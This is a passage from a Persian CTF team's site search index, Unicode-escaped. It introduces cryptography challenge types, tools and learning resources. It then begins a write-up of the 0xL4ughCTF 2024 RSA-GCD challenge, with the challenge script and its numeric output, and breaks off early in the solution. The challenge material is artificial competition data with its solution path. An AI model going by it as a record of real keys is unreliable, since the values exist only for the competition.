","tags":["\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc"]},{"location":"crypto/#-_1","title":"\u06f2- \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u062e\u0637\u0627\u06cc \u067e\u06cc\u0627\u062f\u0647\u200c\u0633\u0627\u0632\u06cc","text":"

\u0628\u0631\u062e\u06cc \u0627\u0648\u0642\u0627\u062a \u0646\u0641\u0648\u0630\u0647\u0627 \u0648 \u0634\u06a9\u0633\u062a\u0646 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u06cc\u06a9 \u0633\u0627\u0645\u0627\u0646\u0647 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0646\u0642\u0635 \u062f\u0631 \u062e\u0648\u062f \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0646\u06cc\u0633\u062a \u0628\u0644\u06a9\u0647 \u0639\u062f\u0645 \u062a\u062c\u0631\u0628\u0647 \u06a9\u0627\u0641\u06cc \u062f\u0631 \u0628\u06a9\u0627\u0631\u06af\u06cc\u0631\u06cc \u062f\u0631\u0633\u062a \u0627\u06cc\u0646 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u060c \u0633\u0628\u0628 \u0627\u06cc\u062c\u0627\u062f \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u06cc\u06a9 \u0633\u0627\u0645\u0627\u0646\u0647 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u062f\u0631 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u060c \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0627\u0646\u0634 \u0639\u0645\u06cc\u0642 \u062f\u0631 \u0645\u0648\u0631\u062f \u0622\u0646 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0646\u06cc\u0633\u062a \u0648 \u062a\u0646\u0647\u0627 \u06a9\u0627\u0641\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0646\u0642\u0635 \u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u0631\u0627 \u06a9\u0634\u0641 \u0648 \u0627\u0632 \u0622\u0646 \u0628\u0631\u0627\u06cc \u062f\u0648\u0631 \u0632\u062f\u0646 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645.

\u0627\u06af\u0631\u0686\u0647 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c \u0634\u0627\u06cc\u062f \u0628\u062e\u0627\u0637\u0631 \u0631\u0648\u0627\u0628\u0637 \u0631\u06cc\u0627\u0636\u06cc \u067e\u0634\u062a \u0622\u0646 \u062f\u0634\u0648\u0627\u0631 \u0628\u0646\u0638\u0631 \u0628\u0631\u0633\u062f\u060c \u0627\u0645\u0627 \u0646\u0628\u0627\u06cc\u062f \u0627\u0632 \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u062f\u0644\u0633\u0631\u062f \u0634\u062f \u0632\u06cc\u0631\u0627 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u062a\u0646\u0647\u0627 \u0628\u0647 \u0645\u0628\u0627\u062d\u062b \u0631\u06cc\u0627\u0636\u06cc \u0646\u0645\u06cc\u200c\u067e\u0631\u062f\u0627\u0632\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0645\u0627 \u0633\u0639\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u0631\u0648\u06cc \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u062d\u0648\u0632\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc CTF\u0647\u0627 \u0645\u062a\u0645\u0631\u06a9\u0632 \u0634\u0648\u06cc\u0645 \u0648 \u0645\u0646\u0627\u0628\u0639 \u0645\u062e\u062a\u0644\u0641 \u0628\u0631\u0627\u06cc \u0634\u0631\u0648\u0639 \u0648 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0631\u0627 \u0645\u0639\u0631\u0641\u06cc \u06a9\u0646\u06cc\u0645. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631\u0647\u0627 \u0648 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0645\u0641\u06cc\u062f\u06cc \u06a9\u0647 \u0628\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u0631\u0627 \u0645\u0639\u0631\u0641\u06cc \u062e\u0648\u0627\u0647\u06cc\u0645 \u06a9\u0631\u062f. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u200c\u0647\u0627\u060c \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0631\u062e\u06cc \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u06a9\u0647 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u062e\u062a\u0644\u0641 \u0634\u0631\u06a9\u062a \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u062e\u0648\u0627\u0647\u06cc\u0645 \u06a9\u0631\u062f \u062a\u0627 \u0627\u0641\u0631\u0627\u062f \u0639\u0644\u0627\u0642\u0647\u200c\u0645\u0646\u062f \u0628\u0647 \u067e\u06cc\u0634\u0631\u0641\u062a \u062f\u0631 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0645\u06a9 \u06a9\u0646\u062f.

","tags":["\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc"]},{"location":"crypto/Tools/","title":"\u0627\u0632 \u0686\u0647 \u0627\u0628\u0632\u0627\u0631\u06cc \u0628\u0647\u062a\u0631\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645\u061f","text":""},{"location":"crypto/Tools/#python","title":"Python","text":"

\u0627\u06a9\u062b\u0631 \u0686\u0627\u0644\u0634\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0627\u0647\u0627\u0634\u0648\u0646 \u0633\u0631 \u0648 \u06a9\u0627\u0631 \u062f\u0627\u0631\u06cc\u0645 \u0628\u0647 \u0627\u06cc\u0646 \u0632\u0628\u0627\u0646 \u0646\u0648\u0634\u062a\u0647 \u0634\u062f\u0646\u062f. \u067e\u0627\u06cc\u062a\u0648\u0646 \u06cc\u06a9 \u0632\u0628\u0627\u0646 \u0641\u0648\u0642 \u0627\u0644\u0639\u0627\u062f\u0647 \u0628\u0631\u0627\u06cc \u0646\u0645\u0648\u0646\u0647 \u0633\u0627\u0632\u06cc \u0633\u0631\u06cc\u0639 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0627\u0633\u062a. \u0642\u0627\u0628\u0644 \u062e\u0648\u0627\u0646\u062f\u0646 \u0627\u0633\u062a \u0648 \u0627\u0632 \u0627\u0639\u062f\u0627\u062f \u0635\u062d\u06cc\u062d \u0628\u0632\u0631\u06af \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc \u06a9\u0646\u062f.

\u067e\u06a9\u06cc\u062c \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u0634\u0647 \u0646\u0635\u0628 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f:

\u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0645\u06cc\u062a\u0648\u0646\u0647 \u0628\u0647 \u0633\u0627\u062f\u06af\u06cc \u0628\u0627 \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0627\u0646\u062c\u0627\u0645 \u0628\u0634\u0648\u062f:

> pip install PyCryptodome gmpy2 pwntools\n
"},{"location":"crypto/Tools/#sagemath","title":"SageMath","text":"

\u0633\u06cc\u0633\u062a\u0645\u06cc \u0628\u0627 \u0648\u06cc\u0698\u06af\u06cc \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u062c\u0646\u0628\u0647 \u0647\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0627\u0632 \u062c\u0645\u0644\u0647 \u062c\u0628\u0631\u060c \u062a\u0631\u06a9\u06cc\u0628\u0627\u062a\u060c \u0646\u0638\u0631\u06cc\u0647 \u06af\u0631\u0627\u0641\u060c \u0646\u0638\u0631\u06cc\u0647 \u06af\u0631\u0648\u0647\u060c \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644 \u0639\u062f\u062f\u06cc\u060c \u0646\u0638\u0631\u06cc\u0647 \u0627\u0639\u062f\u0627\u062f\u060c \u062d\u0633\u0627\u0628 \u062f\u06cc\u0641\u0631\u0627\u0646\u0633\u06cc\u0644 \u0648 \u0627\u0646\u062a\u06af\u0631\u0627\u0644 \u0648 \u0622\u0645\u0627\u0631 \u0631\u0627 \u067e\u0648\u0634\u0634 \u0645\u06cc \u062f\u0647\u062f \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u0633\u06cc\u0633\u062a\u0645 \u0645\u0646\u0628\u0639 \u0628\u0627\u0632 \u062f\u0627\u0631\u0627\u06cc \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u062a\u0631\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0627\u0632 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u062f\u0631\u0646 \u0627\u0633\u062a \u0648 \u0628\u0631 \u0631\u0648\u06cc \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.

"},{"location":"crypto/Tools/#cryptohack-docker-image","title":"CryptoHack Docker Image","text":"

\u0627\u06af\u0631 Docker \u0631\u0648 \u0646\u0635\u0628 \u062f\u0627\u0631\u06cc\u062f \u0641\u0642\u0637 \u06a9\u0627\u0641\u06cc\u0647 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0631\u0648 \u062a\u0648\u06cc \u062a\u0631\u0645\u0646\u06cc\u0627\u0644 \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u062f (\u0627\u06cc\u0646 Docker Image \u062a\u0648\u0633\u0637 \u062a\u06cc\u0645 CryptoHack.org \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0648 \u062a\u0642\u0631\u06cc\u0628\u0627 \u0647\u0631 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0644\u0627\u0632\u0645 \u062f\u0627\u0631\u06cc\u062f \u0631\u0648 \u062f\u0631\u0648\u0646\u0634 \u062f\u0627\u0631\u0647):

> docker run -p 127.0.0.1:8888:8888 -it hyperreality/cryptohack:latest\n
"},{"location":"crypto/Tools/#_2","title":"\u0644\u06cc\u0646\u06a9 \u0647\u0627\u06cc \u0645\u0641\u06cc\u062f","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

\u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc

"},{"location":"crypto/source/","title":"\u0645\u0646\u0627\u0628\u0639 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":"

\u0631\u0627\u0633\u062a\u0634 \u062a\u0627 \u062f\u0644\u062a\u0648\u0646 \u0628\u062e\u0648\u0627\u062f \u0645\u0627 \u06a9\u062a\u0627\u0628 \u0648 \u0648\u06cc\u062f\u0626\u0648 \u0622\u0645\u0648\u0632\u0634\u06cc \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0641\u0642\u0637 \u0628\u0627 \u06cc\u06a9 \u062c\u0633\u062a\u062c\u0648 \u0633\u0627\u062f\u0647 \u062a\u0648\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u062f. \u0648\u0644\u06cc \u062e\u0628 \u06cc\u06a9\u0633\u0631\u06cc \u0645\u0646\u0627\u0628\u0639 \u0647\u0633\u062a\u0646 \u06a9\u0647 \u062e\u06cc\u0644\u06cc \u0645\u0639\u0631\u0648\u0641 \u0648 \u062e\u0648\u062f\u0645\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u06af\u0641\u062a\u06cc\u0645 \u0686\u0642\u062f\u0631 \u062e\u0648\u0628 \u0645\u06cc\u0634\u0647 \u0628\u0627 \u0634\u0645\u0627 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u0632\u0627\u0631\u06cc\u0645 :)

"},{"location":"crypto/source/#_2","title":"\u067e\u0644\u062a\u0641\u0631\u0645 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0648 \u062d\u0644 \u0686\u0627\u0644\u0634\u0647\u0627","text":""},{"location":"crypto/source/#cryptohack","title":"CryptoHack","text":""},{"location":"crypto/source/#cryptopals","title":"Cryptopals","text":""},{"location":"crypto/source/#rootme","title":"RootMe","text":""},{"location":"crypto/source/#_3","title":"\u0648\u06cc\u062f\u0626\u0648 \u0647\u0627\u06cc \u0622\u0645\u0648\u0632\u0634\u06cc","text":""},{"location":"crypto/source/#neso-academy","title":"Neso Academy","text":""},{"location":"crypto/source/#_4","title":"\u0645\u0639\u0631\u0641\u06cc \u06a9\u062a\u0627\u0628","text":"

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

\u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc

"},{"location":"crypto/source/#cryptography-and-network-security-by-behrouz-forouzan","title":"Cryptography and Network Security by Behrouz Forouzan","text":"

\u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u0627\u0632 \u06cc\u06a9 \u0631\u0648\u06cc\u06a9\u0631\u062f \u0642\u062f\u0645 \u0628\u0647 \u0642\u062f\u0645 \u0628\u0631\u0627\u06cc \u0622\u0645\u0648\u0632\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0627\u0645\u0646\u06cc\u062a \u0634\u0628\u06a9\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f. \u0634\u0645\u0627 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627\u06cc \u06a9\u0627\u0631 \u0628\u0647 \u0647\u06cc\u0686 \u062f\u0627\u0646\u0634 \u0631\u06cc\u0627\u0636\u06cc \u062e\u0627\u0635\u06cc \u0645\u0627\u0646\u0646\u062f \u0646\u0638\u0631\u06cc\u0647 \u0627\u0639\u062f\u0627\u062f \u06cc\u0627 ... \u0646\u06cc\u0627\u0632 \u0646\u062f\u0627\u0631\u06cc\u062f \u0686\u0631\u0627 \u06a9\u0647 \u062f\u0631 \u0637\u0648\u0644 \u0645\u0637\u0627\u0644\u0639\u0647 \u06a9\u062a\u0627\u0628 \u0627\u0648\u0646 \u0631\u0648 \u0628\u062f\u0633\u062a \u0645\u06cc\u0627\u0631\u06cc\u062f\u060c \u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0627\u0645\u0646\u06cc\u062a \u0634\u0628\u06a9\u0647 \u0631\u0627 \u0646\u0645\u06cc \u062a\u0648\u0627\u0646 \u0628\u062f\u0648\u0646 \u067e\u06cc\u0634\u06cc\u0646\u0647 \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0645\u0648\u0631\u062f \u0628\u062d\u062b \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u060c \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639\u0627\u062a \u062f\u0631 \u0641\u0635\u0644 \u0647\u0627\u06cc 2\u060c 4 \u0648 9 \u0645\u0648\u0631\u062f \u0628\u062d\u062b \u0642\u0631\u0627\u0631 \u0645\u06cc \u06af\u06cc\u0631\u0646\u062f. \u062e\u0648\u0627\u0646\u0646\u062f\u06af\u0627\u0646\u06cc \u06a9\u0647 \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647 \u0647\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0622\u0634\u0646\u0627 \u0647\u0633\u062a\u0646\u062f \u0645\u06cc \u062a\u0648\u0627\u0646\u0646\u062f \u0627\u06cc\u0646 \u0641\u0635\u0644 \u0647\u0627 \u0631\u0627 \u0646\u0627\u062f\u06cc\u062f\u0647 \u0628\u06af\u06cc\u0631\u0646\u062f. \u0641\u0635\u0644 1 \u062a\u0627 15 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0631\u0627 \u0645\u0648\u0631\u062f \u0628\u062d\u062b \u0642\u0631\u0627\u0631 \u0645\u06cc \u062f\u0647\u062f. \u062f\u0631 \u0636\u0645\u0646 \u0641\u0635\u0644 \u0647\u0627\u06cc 16 \u062a\u0627 18 \u0627\u0645\u0646\u06cc\u062a \u0634\u0628\u06a9\u0647 \u0645\u0648\u0631\u062f \u0628\u062d\u062b \u0642\u0631\u0627\u0631 \u0645\u06cc \u06af\u06cc\u0631\u062f.

"},{"location":"crypto/source/#an-introduction-to-mathematical-cryptography-by-jeffrey-hoffstein","title":"An Introduction to Mathematical Cryptography by Jeffrey Hoffstein","text":"

\u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u0639\u0645\u062f\u062a\u0627\u064b \u0628\u0631 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0644\u06cc\u062f \u0639\u0645\u0648\u0645\u06cc \u0648 \u0627\u0645\u0636\u0627\u06cc \u062f\u06cc\u062c\u06cc\u062a\u0627\u0644 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0622\u0646\u0647\u0627 \u062a\u0645\u0631\u06a9\u0632 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062e\u0648\u0627\u0646\u0646\u062f\u0647 \u0627\u06cc \u06a9\u0647 \u0628\u0631 \u0645\u0637\u0627\u0644\u0628 \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u062a\u0633\u0644\u0637 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f\u060c \u0646\u0647 \u062a\u0646\u0647\u0627 \u0628\u0631\u0627\u06cc \u0645\u0637\u0627\u0644\u0639\u0647 \u0628\u06cc\u0634\u062a\u0631 \u062f\u0631 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0628\u0647 \u062e\u0648\u0628\u06cc \u0622\u0645\u0627\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f\u060c \u0628\u0644\u06a9\u0647 \u0628\u0647 \u062f\u0631\u06a9 \u0648\u0627\u0642\u0639\u06cc \u0627\u0635\u0648\u0644 \u0631\u06cc\u0627\u0636\u06cc \u0627\u0633\u0627\u0633\u06cc \u06a9\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u062f\u0631\u0646 \u0628\u0631 \u0622\u0646 \u0627\u0633\u062a\u0648\u0627\u0631 \u0627\u0633\u062a\u060c \u062f\u0633\u062a \u062e\u0648\u0627\u0647\u062f \u06cc\u0627\u0641\u062a.

"},{"location":"crypto/writeups/0xL4ughCTF/RSA-GCD/","title":"\u0686\u0627\u0644\u0634 RSA-GCD","text":"","tags":["0xL4ughCTF","0xL4ughCTF-2024","Crypto","RSA","RSA-GCD","Modular Binomials"]},{"location":"crypto/writeups/0xL4ughCTF/RSA-GCD/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u06cc\u06a9 \u0627\u0633\u06a9\u0631\u067e\u06cc\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u062e\u0631\u0648\u062c\u06cc \u062f\u0627\u062f\u0647 \u0634\u062f\u0647:

chall1.py
import math\nfrom Crypto.Util.number import *\nfrom secret import flag,p,q\nfrom gmpy2 import next_prime\nm = bytes_to_long(flag.encode())\nn=p*q\n\n\npower1=getPrime(128)\npower2=getPrime(128)\nout1=pow((p+5*q),power1,n)\nout2=pow((2*p-3*q),power2,n)\neq1 = next_prime(out1)\n\nc = pow(m,eq1,n)\n\n\nwith open('chall2.txt', 'w') as f:\n    f.write(f\"power1={power1}\\npower2={power2}\\neq1={eq1}\\nout2={out2}\\nc={c}\\nn={n}\")\n
chall2.txt
power1=281633240040397659252345654576211057861\npower2=176308336928924352184372543940536917109\nhint=411\neq1=2215046782468309450936082777612424211412337114444319825829990136530150023421973276679233466961721799435832008176351257758211795258104410574651506816371525399470106295329892650116954910145110061394115128594706653901546850341101164907898346828022518433436756708015867100484886064022613201281974922516001003812543875124931017296069171534425347946706516721158931976668856772032986107756096884279339277577522744896393586820406756687660577611656150151320563864609280700993052969723348256651525099282363827609407754245152456057637748180188320357373038585979521690892103252278817084504770389439547939576161027195745675950581\nout2=224716457567805571457452109314840584938194777933567695025383598737742953385932774494061722186466488058963292298731548262946252467708201178039920036687466838646578780171659412046424661511424885847858605733166167243266967519888832320006319574592040964724166606818031851868781293898640006645588451478651078888573257764059329308290191330600751437003945959195015039080555651110109402824088914942521092411739845889504681057496784722485112900862556479793984461508688747584333779913379205326096741063817431486115062002833764884691478125957020515087151797715139500054071639511693796733701302441791646733348130465995741750305\nc=11590329449898382355259097288126297723330518724423158499663195432429148659629360772046004567610391586374248766268949395442626129829280485822846914892742999919200424494797999357420039284200041554727864577173539470903740570358887403929574729181050580051531054419822604967970652657582680503568450858145445133903843997167785099694035636639751563864456765279184903793606195210085887908261552418052046078949269345060242959548584449958223195825915868527413527818920779142424249900048576415289642381588131825356703220549540141172856377628272697983038659289548768939062762166728868090528927622873912001462022092096509127650036\nn=14478207897963700838626231927254146456438092099321018357600633229947985294943471593095346392445363289100367665921624202726871181236619222731528254291046753377214521099844204178495251951493800962582981218384073953742392905995080971992691440003270383672514914405392107063745075388073134658615835329573872949946915357348899005066190003231102036536377065461296855755685790186655198033248021908662540544378202344400991059576331593290430353385561730605371820149402732270319368867098328023646016284500105286746932167888156663308664771634423721001257809156324013490651392177956201509967182496047787358208600006325742127976151\n

\u0628\u0631\u0627\u06cc \u06a9\u0633\u0627\u0646\u06cc \u06a9\u0647 \u0642\u0628\u0644\u0627 \u0686\u0627\u0644\u0634 \u0647\u0627\u06cc CryptoHack \u0631\u0648 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f\u0646\u060c \u0645\u0645\u06a9\u0646\u0647 \u0645\u062a\u0648\u062c\u0647 \u0628\u0634\u06cc\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0633\u06cc\u0627\u0631 \u0634\u0628\u06cc\u0647 \u0628\u0647 \u06cc\u06a9 \u0686\u0627\u0644\u0634 CryptoHack \u0647\u0633\u062a\u060c \u062a\u0648\u06cc \u0628\u062e\u0634 \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0648 \u0686\u0644\u0646\u062c Modular Binomials. \u062e\u0628 \u0645\u0627 \u0628\u0644\u0627\u0641\u0627\u0635\u0644\u0647 \u0645\u062a\u0648\u062c\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0634\u062f\u06cc\u0645 \u0648 \u0628\u0647 CryptoHack.org \u0631\u0641\u062a\u06cc\u0645 \u0648 \u062f\u0648\u0628\u0627\u0631\u0647 \u0686\u0644\u0646\u062c \u0631\u0648 \u0645\u0637\u0627\u0644\u0639\u0647 \u0648 \u062d\u0644 \u06a9\u0631\u062f\u06cc\u0645. \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u0645\u0633\u0626\u0644\u0647 \u0631\u0648 \u062d\u0644 \u0646\u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u06cc\u062f\u060c \u0645\u0645\u06a9\u0646\u0647 \u0631\u0627\u0647 \u062d\u0644\u06cc \u0646\u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f. \u0628\u0647 \u0647\u0631 \u062d\u0627\u0644 \u0645\u0646 \u0628\u0631\u0627\u062a\u0648\u0646 \u0631\u0627\u0647 \u062d\u0644 \u0631\u0648 \u0628\u0627 \u062c\u0632\u0626\u06cc\u0627\u062a \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u062f\u0645.

","tags":["0xL4ughCTF","0xL4ughCTF-2024","Crypto","RSA","RSA-GCD","Modular Binomials"]},{"location":"crypto/writeups/0xL4ughCTF/RSA-GCD/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u060c \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0632\u06cc\u0631 \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647:

out_1\\equiv(p+5q)^{power_1}\\pmod{n} out_2\\equiv(2p-3q)^{power_2}\\pmod{n}

\u06a9\u0647 p \u0648 q \u0627\u0639\u062f\u0627\u062f \u0627\u0648\u0644\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u062d\u0627\u0635\u0644\u0636\u0631\u0628 \u0627\u0648\u0646\u0627 n \u0647\u0633\u062a. \u0645\u0627 \u0627\u0644\u0628\u062a\u0647 \u0628\u0627\u06cc\u062f \u0627\u06cc\u0646\u0647\u0627 \u0631\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc RSA \u0627\u06cc \u0631\u0627 \u0628\u0634\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0645\u062a\u0646 \u0631\u0645\u0632\u06cc \u0622\u0646 c \u0627\u0633\u062a.

\u062a\u0648\u062c\u0647 \u06a9\u0646\u06cc\u062f\u060c \u0628\u0627 \u0627\u06cc\u0646\u06a9\u0647\u060c out1 \u062f\u0631 \u0641\u0627\u06cc\u0644 \u062e\u0631\u0648\u062c\u06cc \u0645\u0627 \u062f\u0627\u062f\u0647 \u0646\u0634\u062f\u0647! \u062f\u0631 \u0639\u0648\u0636\u060c eq1 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u06a9\u0647 \u06a9\u0648\u0686\u06a9\u062a\u0631\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644 \u0628\u0639\u062f \u0627\u0632 out1 \u0647\u0633\u062a.

